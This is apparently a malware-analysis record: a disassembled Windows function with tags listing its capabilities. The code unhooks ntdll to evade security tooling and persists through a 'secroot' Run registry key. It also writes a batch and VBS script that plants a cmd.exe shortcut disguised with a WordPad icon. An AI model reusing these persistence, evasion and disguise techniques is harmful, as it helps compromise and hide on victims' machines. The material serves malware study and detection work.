Function at 0x140001740
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Get common file path
Get startup folder
Link many functions at runtime
Persist via run registry key
Query environment variable
Set registry value
Terminate process
Write and execute a file
Write file on windows
Write file to startup folder

Disassembly:
push rbp
sub rsp, 0xe50
lea rbp, [rsp + 0x80]
mov qword [rbp - 0x18], rdx
mov dword [rbp - 0x1c], ecx
call dbg.__main
mov ecx, dword [rbp - 0x1c]
mov rdx, qword [rbp - 0x18]
mov dword [rbp + 0xdcc], 0
mov dword [rbp + 0xdc8], ecx
mov qword [rbp + 0xdc0], rdx
mov ecx, 1
call sym.sub_0x0724edif_int_
cmp eax, 0
je 0x140001798
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rax, qword [0x140004120]
mov qword [rbp + 0xda0], rax
mov rax, qword [0x140004128]
mov qword [rbp + 0xda8], rax
mov rax, qword [0x140004130]
mov qword [rbp + 0xdb0], rax
mov eax, dword [0x140004138]
mov dword [rbp + 0xdb8], eax
mov ax, word [0x14000413c]
mov word [rbp + 0xdbc], ax
mov rax, qword [str.CreateFileMappingA]
mov qword [rbp + 0xd80], rax
mov rax, qword [0x140004148]
mov qword [rbp + 0xd88], rax
mov ax, word [0x140004150]
mov word [rbp + 0xd90], ax
mov al, byte [0x140004152]
mov byte [rbp + 0xd92], al
mov rax, qword [str.MapViewOfFile]
mov qword [rbp + 0xd72], rax
mov eax, dword [0x14000415b]
mov dword [rbp + 0xd7a], eax
mov ax, word [0x14000415f]
mov word [rbp + 0xd7e], ax
mov rax, qword [str.UnmapViewOfFile]
mov qword [rbp + 0xd60], rax
mov rax, qword [0x140004178]
mov qword [rbp + 0xd68], rax
mov dword [rbp + 0xd5c], 0x1e
mov dword [rbp + 0xd58], 0xa
mov dword [rbp + 0xd54], 0
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0xd80]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xd30], rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0xd72]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xd28], rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0xd60]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xd20], rax
lea rcx, [rbp + 0xda0]
mov eax, dword [rbp + 0xd5c]
mov edx, eax
mov eax, dword [rbp + 0xd5c]
sub eax, 1
mov eax, eax
mov r8b, byte [rbp + rax + 0xda0]
call sym.__0x0034fed_char__unsigned_long_long__char_
lea rcx, [rbp + 0xda0]
mov edx, 0x80000000
mov r8d, 1
xor eax, eax
mov r9d, eax
xor eax, eax
mov dword [rsp + 0x20], 3
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp + 0xd48], rax
mov rax, 0xffffffffffffffff
cmp qword [rbp + 0xd48], rax
jne 0x140001969
mov dword [rbp + 0xdcc], 0xffffffff
jmp 0x1400020d8
mov rax, qword [rbp + 0xd30]
mov rcx, qword [rbp + 0xd48]
xor edx, edx
mov r8d, 0x1000002
xor r9d, r9d
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
call rax
mov qword [rbp + 0xd40], rax
cmp qword [rbp + 0xd40], 0
jne 0x1400019c6
mov rcx, qword [rbp + 0xd48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0xdcc], 0xffffffff
jmp 0x1400020d8
mov rax, qword [rbp + 0xd28]
mov rcx, qword [rbp + 0xd40]
mov edx, 4
xor r9d, r9d
xor r8d, r8d
mov r8d, r9d
mov qword [rsp + 0x20], 0
call rax
mov qword [rbp + 0xd38], rax
cmp qword [rbp + 0xd38], 0
jne 0x140001a2b
mov rcx, qword [rbp + 0xd40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xd48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0xdcc], 0xffffffff
jmp 0x1400020d8
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
mov rdx, qword [rbp + 0xd38]
call sym.UnhookNtdll_HINSTANCE____void_
mov dword [rbp + 0xd54], eax
mov rax, qword [rbp + 0xd20]
mov rcx, qword [rbp + 0xd38]
call rax
mov rcx, qword [rbp + 0xd40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xd48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rbp + 0xc10]
xor ecx, ecx
mov r8d, ecx
mov edx, 0x1c
xor r9d, r9d
mov rcx, r8
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea rcx, [rbp + 0xb00]
lea r8, [rbp + 0xc10]
lea rdx, str._sMicrosoft_s
lea r9, str.UtilisatNT
call dbg.sprintf
lea rcx, str.UtilisatNT
call sym.__createFUDtr_char_const_
xor eax, eax
mov ecx, eax
call sym.time_long_long_
mov qword [rbp + 0xaf8], rax
lea rcx, [rbp + 0xaf8]
call sym.localtime_long_long_const_
mov qword [rbp + 0xaf0], rax
mov rax, qword [rbp + 0xaf0]
mov eax, dword [rax + 0x18]
mov dword [rbp + 0xaec], eax
cmp dword [rbp + 0xaec], 0
je 0x140001b36
cmp dword [rbp + 0xaec], 1
je 0x140001b36
cmp dword [rbp + 0xaec], 6
je 0x140001b36
lea rcx, str._t__Today_is_not_My_Mood_._Exiting..._n
call dbg.printf
mov ecx, 1
call sym.exit
lea rcx, [0x1400041b1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [0x1400041be]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xae0], rax
mov ecx, 0x4e20
call qword [rbp + 0xae0]
lea rcx, str.UtilisatNT
call sym.__createFUDtr_char_const_
lea rcx, str.SdfxiWID.dll
call sym.MyLoadLibrary_wchar_t_const_
mov qword [rbp + 0xad8], rax
cmp qword [rbp + 0xad8], 0
je 0x140001bd3
mov rcx, qword [rbp + 0xad8]
lea rdx, str.__intimatth
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xad0], rax
cmp qword [rbp + 0xad0], 0
je 0x140001bc1
call qword [rbp + 0xad0]
mov rcx, qword [rbp + 0xad8]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x140001bdf
lea rcx, str.____Failed_to_load_library_:__n
call dbg.printf
mov dword [rbp + 0x9bc], 0
lea rdx, [rbp + 0x9c0]
xor eax, eax
mov ecx, eax
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [rbp + 0x9bc], eax
cmp dword [rbp + 0x9bc], 0
jne 0x140001c22
mov dword [rbp + 0xdcc], 0xffffffff
jmp 0x1400020d8
mov rcx, 0xffffffff80000001
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
lea r8, [rbp + 0x9b0]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
cmp eax, 0
je 0x140001c55
mov dword [rbp + 0xdcc], 0xffffffff
jmp 0x1400020d8
lea rcx, [rbp + 0x9c0]
call sym.strlen
add rax, 1
mov dword [rbp + 0x9ac], eax
mov rcx, qword [rbp + 0x9b0]
lea r10, [rbp + 0x9c0]
mov eax, dword [rbp + 0x9ac]
lea rdx, str.secroot
xor r8d, r8d
mov r9d, 1
mov qword [rsp + 0x20], r10
mov dword [rsp + 0x28], eax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp eax, 0
je 0x140001cc3
mov rcx, qword [rbp + 0x9b0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rbp + 0xdcc], 0xffffffff
jmp 0x1400020d8
mov rcx, qword [rbp + 0x9b0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp + 0x8a0]
xor ecx, ecx
mov r8d, ecx
mov edx, 7
xor r9d, r9d
mov rcx, r8
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea rdx, [rbp + 0x8a0]
xor eax, eax
mov ecx, eax
lea r8, str.TITLE
mov r9d, 0x40
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, str.TEMP
call sym.getenv
mov qword [rbp + 0xac8], rax
lea rcx, [rbp + 0x790]
mov r8, qword [rbp + 0xac8]
lea rdx, str._s_s
lea r9, str.Wct008482.bat
call dbg.sprintf
lea rdx, [rbp + 0x790]
lea rcx, str._t___s_n
call dbg.printf
lea rcx, [rbp + 0x790]
lea rdx, [0x140004265]
call sym.fopen
mov qword [rbp + 0x788], rax
lea rcx, [rbp + 0x180]
lea rdx, str._echo_off_r_n
call dbg.sprintf
lea rcx, [rbp + 0x180]
lea rdx, [0x140004273]
call sym.strcat
lea rcx, [rbp + 0x580]
lea rdx, [0x140004276]
call dbg.sprintf
lea rcx, [rbp + 0x180]
lea rdx, [0x140004273]
call sym.strcat
lea rcx, [rbp + 0x580]
lea rdx, [0x140004276]
call dbg.sprintf
lea rcx, [rbp + 0x180]
lea rdx, [0x140004273]
call sym.strcat
lea rcx, [rbp + 0x580]
lea rdx, [0x140004276]
call dbg.sprintf
lea rcx, [rbp + 0x180]
lea rdx, [0x140004273]
call sym.strcat
lea rcx, [rbp + 0x580]
lea rdx, [0x140004276]
call dbg.sprintf
lea rcx, [rbp + 0x180]
lea rdx, [0x140004273]
call sym.strcat
lea rcx, [rbp + 0x580]
lea rdx, [0x140004276]
call dbg.sprintf
lea rcx, [rbp + 0x180]
lea rdx, [0x140004273]
call sym.strcat
lea rcx, [rbp + 0x580]
lea rdx, [0x140004276]
call dbg.sprintf
lea rcx, [rbp + 0x180]
lea rdx, [0x140004273]
call sym.strcat
lea rcx, [rbp + 0x580]
lea rdx, [0x140004276]
call dbg.sprintf
lea rcx, [rbp + 0x180]
lea rdx, [0x140004273]
call sym.strcat
lea rcx, [rbp + 0x580]
lea rdx, [0x140004276]
call dbg.sprintf
lea rcx, [rbp + 0x180]
lea rdx, [0x140004273]
call sym.strcat
lea rcx, [rbp + 0x580]
lea rdx, [0x140004276]
call dbg.sprintf
lea rcx, [rbp + 0x180]
lea rdx, [0x140004273]
call sym.strcat
lea rcx, [rbp + 0x580]
lea rdx, [0x140004276]
call dbg.sprintf
lea rcx, [rbp + 0x180]
lea rdx, [0x140004273]
call sym.strcat
lea rcx, [rbp + 0x580]
lea rdx, [0x140004276]
call dbg.sprintf
lea rcx, [rbp + 0x180]
lea rdx, [0x140004273]
call sym.strcat
lea rcx, [rbp + 0x580]
lea rdx, [0x140004276]
call dbg.sprintf
lea rcx, [rbp + 0x180]
lea rdx, [0x140004273]
call sym.strcat
lea rcx, [rbp + 0x580]
lea r8, [rbp + 0x8a0]
mov rax, qword [rbp + 0xdc0]
mov r9, qword [rax]
lea rdx, str.echo_Set_objShell__CreateObject__WScript.Shell_____embryo.vbs__n_echo_Set_objShortcut__objShell.CreateShortcut___siOffice.lnk______embryo.vbs__n_echo_objShortcut.WindowStyle__7____embryo.vbs__n_echo_objShortcut.TargetPath____windir__system32cmd.exe_____embryo.vbs__n_echo_objShortcut.IconLocation___C:Program_Files__x86_Windows_NTAccessoriesWordPad.exe_____embryo.vbs__n_echo_objShortcut.Arguments____c__s_____embryo.vbs__n_echo_objShortcut.Save____embryo.vbs__n_cscript_embryo.vbs__n_del_embryo.vbs
call dbg.sprintf
lea rcx, [rbp + 0x180]
lea rdx, [0x140004273]
call sym.strcat
lea rcx, [rbp + 0x180]
lea rdx, [rbp + 0x580]
call sym.strcat
lea rax, [rbp + 0x180]
mov qword [rbp - 0x28], rax
lea rcx, [rbp + 0x180]
call sym.strlen
mov rcx, qword [rbp - 0x28]
mov r8, rax
mov r9, qword [rbp + 0x788]
mov edx, 1
call sym.fwrite
mov rcx, qword [rbp + 0x788]
call sym.fclose
lea rcx, str.___Content_Wrote_to_file_successfully._n
call dbg.printf
lea rcx, [rbp + 0x118]
xor edx, edx
mov r8d, 0x68
call sym.memset
mov dword [rbp + 0x118], 0x68
lea rcx, [rbp + 0x100]
xor edx, edx
mov r8d, 0x18
call sym.memset
mov dword [rbp + 0x154], 0x101
mov word [rbp + 0x158], 0
lea rcx, [rbp - 0x10]
mov r8, qword [rbp + 0xac8]
lea rdx, str.cmd__c__s_s
lea r9, str.Wct008482.bat
call dbg.sprintf
lea rdx, [rbp - 0x10]
xor eax, eax
mov r9d, eax
lea r10, [rbp + 0x118]
lea rax, [rbp + 0x100]
mov rcx, r9
mov r8, r9
mov dword [rsp + 0x20], 1
mov dword [rsp + 0x28], 0x8000000
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], r10
mov qword [rsp + 0x48], rax
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rbp + 0x100]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0xdcc], 0
mov eax, dword [rbp + 0xdcc]
add rsp, 0xe50
pop rbp
ret